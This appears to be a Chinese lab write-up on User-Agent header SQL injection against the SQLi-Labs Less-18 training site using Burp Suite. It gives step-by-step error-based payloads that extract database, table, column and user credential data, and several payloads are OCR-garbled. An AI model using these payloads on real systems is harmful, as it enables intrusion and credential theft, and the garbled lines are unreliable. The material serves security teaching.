实验目的
理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义
和作用,掌握HTTP头部注入的原理、方法及基本流程。

实验原理
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证
等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.
Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站 Less-11。访问的URL为:
http://[靶机IP]/sqli-labs/Less-18/(注意大小写)

2.利用Burpsuite工具进行抓包

(1)启动Burpsuite

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy"->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择卡“Proxy"->”Intercept”,将拦截开关按钮的状态设置为”Intercept is on”

4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择”为全部URLs启用代理服务器127.0.0.1:8080”:

(5)利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码admin,然后点击Submit按钮

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择"Send to Repeater",将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

后续的步骤中,可以在 Repeater 选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在 Response栏中观察目标服务器的响应。
3.寻找注入点
在原始 HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下
payload:
User-Agent:Mozilla/5.0......Firefox/97.0'发现服务器端报错!

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下
payload:
User-Agent:Mozilla/5.8......Firefox/97.0',','')# 服务器端未报错!

由此可以判断,目标网站在POST参数处存在字符型注入点。
注如果在服务器端(靶机)上查看Less-18的 php代码,会发现其中存在这样一段代码:
$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下 payload获取网站当前所在数据库的库名:
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,database())),'','')#显示结果为security.

5.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
User-Agent:Mozilla/5.0... . ..Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示上述 payload可以改为:
User-Agent:Mozilla/5.e......Firefox/ 97 .0' and extractvalue(1,concat('~ ' ,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),',' )#
1/显示security库中的第1张表的名字
User-Agent:Mozi1la/5.0... . ..Firefox/97.0' and extractvalue(1, concat('~' ,( select table_name from information_schema.tables where table_schema='security’ limit 1,1))),’,')#
1/显示security库中的第2张表的名字
User-Agent:Mozilla/5.0.... ..Firefox/ 97.0' and extractvalue(1,concat('~' ,( select table_name from information_schema.tables  where table_schema='security' limit 2,1))),',')#
1/显示 security库中的第3张表的名字
6.获取users表的全部字段名
使用以下 payload获取users表的全部字段名:
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1, concat('~' ,(select group_concat(column_name) from information_schema.columns where table_schema='security'     and  table_name="users'))),,")#
显示结果,users表中有id、 username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:
User-Agent:Mozilla/5.0.... ..Firefox/97.0'and extractvalue(1,concat('~' ,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'",'")#1

//显示 users表中的第1个字段的名字
User-Agent:Mozilla/5.8... ...Firefox/ 97.0'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),","')#1

//显示 users表中的第2个字段的名字
User-Agent:Mozilla/5.0... . . .Firefox/97.0'and extractvalue(1,concat( '~',(select column_name from information_schema.columns where table_schema='security' and table_name='users ' limit 2,1))),"',"')#1

//显示users表中的第3个字段的名字

7.获取users表id、username和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit M,N的方式逐条显示,如
(1)显示第1组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 0,1))),,")#
显示结果为 Dump,Dump。

(2)显示第2组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 1,1))),,")#
显示结果为Angelina,l-kill-you。

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。
实验总结
本次实验,成功实现了对存在 HTTP头部(User-Agent)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。

SQL注入--HTTP头部注入相关推荐

  1. SOL注入——HTTP头部注入(2)(七)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  2. SQL注入-HTTP头部注入

    访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...

  3. SQL注入——HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  4. SOL注入——HTTP头部注入(六)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  5. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  6. SQL注入简介和注入方法教学

    文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...

  7. 网络安全——HTTP头部注入

    一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...

  8. SQL注入之MySQL注入学习笔记(二)

    补充:MySQL注释方法 文章目录 MySQL注入 基本介绍 字符型 数字型 搜索型 Cookie注入 HTTP头注入 具体实例 数字型注入 一般类型 被单引号包裹起来的 双引号加小括号包裹 两个括号 ...

  9. SQL注入天书-ASP注入漏洞全接触

    引     言                 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...

最新文章

  1. DeepMind开源强化学习环境,灵活可配置,计算资源有限的小型实验室也能用
  2. 特效html布局,一些好玩的css特效
  3. swarm:pending_WildFly Swarm:使用Java EE构建微服务
  4. mfcc中的fft操作_简化音频数据:FFT,STFT和MFCC
  5. python des加密文件_Python DES加密解密方法 pyDes库 兼容中文
  6. 机器学习焦点,范德比尔特(Vanderbilt U)的医疗机器人以及更多开源新闻
  7. 好慌!支付宝App现“不锈钢内裤” 官方解释:已改为“煮内裤的锅”
  8. RToax / fedora-coreos-config: [sysroot.mount] mount: wrong fs type, bad option, bad superblock on /
  9. Leetcode每日一题:416.partition-equal-subset-sum(分割等和子集)
  10. MASQUERADE
  11. 四个跑马灯的c语言程序,入门编程语言跑马灯,C语言设计跑马灯程序
  12. 开源可视化网页抓取工具Portia 爬虫
  13. 电脑记事本在哪个文件夹
  14. 微信小程序底部导航栏配置
  15. 【编译原理】自上而下语法分析(C/C++源码+实验报告)
  16. 用ip地址远程登录linux的软件,如何远程登陆已知 IP地址的电脑?
  17. IOS 设备越狱原理
  18. burp小技巧之抓单个网站包
  19. Hi3516A/Hi3516D SDK 安装以及升级使用说明
  20. 棋盘放芝麻:有一个棋盘,有64个方格,在第一个方格里面放1粒芝麻重量是0.00001kg,第二个里面放2粒,第三个里面放4,棋盘上放的所有芝麻的重量(代码)

热门文章

  1. cmsplus实战之仿[我扫网]之一:仿站开发工程简要说明及目的
  2. web简易数字型验证码实现(超简单)
  3. 本科计算机专业软考证书,我有1本软考证书,但不知有什么用
  4. 英伟达首次开源内核、GitHub 强制用户身份验证、Google 悬赏 150 万美元找安卓漏洞 | 开源月报 Vol. 06...
  5. MySQL 一个字段多个id查询
  6. 10kv配电网潮流 matlab,MATLAB配电网三相潮流程序设计
  7. 即时配送的ETA问题之亿级样本特征构造实践-笔记
  8. 北大青鸟败诉 两名员工打赢“竞业禁止”官司
  9. 基于回归神经网络的中文语句模型实践(Python+Tensorflow+阿里云)
  10. Linux带箭头的截图软件,Flameshot:你们要的超强Linux截图软件